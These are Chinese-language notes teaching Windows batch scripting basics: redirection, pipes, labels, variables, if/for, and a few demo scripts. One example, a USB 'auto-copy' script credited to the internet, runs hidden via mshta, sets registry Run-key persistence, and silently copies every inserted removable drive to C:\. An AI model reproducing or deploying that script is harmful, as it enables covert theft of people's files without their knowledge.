@echo off ::@表示不开启回显,将只显示执行的结果,加off表示以下执行代码都不再显示
::表示注释,由#代替
echo #可写内容到文件
(echo helloworld > test.txt)
color e
cmd
pause #暂停命令
findstr /? #可查看相关命令帮助
>nul 2>nul 不显示返回信息,2错误信息的句柄 也不显示
echo. #换空行
& #执行前命令后,执行后命令
&& #前命令执行成功后,执行后命令
| #管道符号,前内容的输出,作为后内容的输入
(type c:\windows\*.log|more)type 显示文件content
|| #双管道,前命令执行失败后,执行后命令
> #重定向符,前命令执行结果,输出覆盖到后命令中去
(dir c:\ > d:\test.txt)
>> #重定向符,前命令执行结果,追加到后命令执行content中
如果用for读取就需要>>追加,>只能读取一行数据覆盖
< #重定向符,将后命令执行结果,作为前命令
^ #取消特殊符号的作用
(^>)
del #删除
(del c:\windows\*.log)
? #任意一个字符
. #当前目录
.. #上级目录
“” #界定字符,表示一个
(cd "c:\windows and user")
: #标签定位符,后面一个是标签
(@echo off
:start
echo helloworld
pause
goto start) goto 跳转到某一个标签
, #可以表示一个空格
; #省略重复执行命令
(dir c:\;d:\)
setx 变量名 变量值 #在环境变量重可以查看/cmd中 set
%1-%9 #返回相应参数
%0:
echo %0 返回批处理文件所在的绝对路径
%0 添加到文件最后一行,可无限循环执行
自定义变量:
set /p var=可输入的任意值 #/p 可手动输入参数
echo %var%
pause
if判断:
@echo off
CHOICE /c ab
if ERRORLEVEL 2 goto b
if ERRORLEVEL 1 goto a
:a
echo 选择了a
goto end
:b
echo 选择了b
goto end
:end
pause
%0
判断上一条语句是否执行成功:
@echo off
net user
if %ERRORLEVEL% == 0 echo 执行成功 #0表示执行成功,1表示执行失败
if %ERRORLEVEL% == 1 echo 执行失败
pause
if实例:
@echo off
set /p var=输入命令:
%var% # 在没有echo输出的情况下(echo %var%),会被当作一种命令执行
if %ERRORLEVEL% == 0 (echo "var"执行成功) ELSE (echo %var%执行失败)
pause
for:
@echo off
for %%i in (c:\windows\*.txt) do echo %%i #四个参数 /d /l /r
for /r c:\ %%i in (*.log) do @echo %%i
for /f "eol= tokens= delims= " %%i in (test.txt) do @echo %%i #eol忽略由特定字符开头的行;tokens打印哪几列内容;delims列的分隔符
pause
dir *.* /b > test.txt #获取所有文件名及后缀格式, /b 空格式(没有标题和参数,只有文件名字),\a \c \d等
ren 名字1 名字2 #rename缩写,修改对应文件名
实例u盘查找自动拷贝:
::from internet
@echo off
if "%1" == "h" goto :go
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit ::通过mshta解析vbscript等脚本执行语言
:go
reg add hkey_local_machineSoftwareMicrosoftWindowsCurrentVersionRun /v run /t REG_SZ /d "%~f0" /f
:loop
for /f "skip=1" %%i in ('wmic LOGICALDISK where "drivetype=2" get name') do (if not "%%i"=="" xcopy %%i* c:\ /e/h/r/y/c) ::通过wmic调用系统API
ping 127.1 >nul
goto :loop
实例黑客数码雨:
@echo off&setlocal enabledelayedexpansion&color e
:start
for %%i in (a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t) do (set /a %%i=!random!%%2)
echo %a% %b% %c% %d% %e% %f% %g% %h% %i% %g% %k% %l% %m% %n% %o% %p% %q% %r% %s% %t% %a% %b% %c% %d% %e% %f% %g% %h% %i% %g% %k% %l% %m% %n% %o% %p% %q% %r% %s% %t% %a% %b% %c% %d% %e% %f% %g% %h% %i% %g% %k% %l% %m% %n% %o% %p% %q% %r% %s% %t%
for /l %%i in (1,6,6) do (echo. >nul)
::set /a b =%random%%%20
::if %b% equ 5 goto text
goto start
批处理随机选择结果(只随机选择一个结果并赋值):
@echo off&setlocal enabledelayedexpansion
set col=0
for %%i in (0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f) do (
set n+=1,a=!random!
if !a! equ 0 (
set "_!random!!random!!random!=%%i"
) else (
set "_!random!!random!!random!=!n!"
)
)
for /f "tokens=2 delims==" %%i in ('set _') do (
set /a n-=1
if !n! equ 15 pause>nul&goto :eof
::set /p=%%i <nul
set col=%%i
)
echo.&echo %col%
pause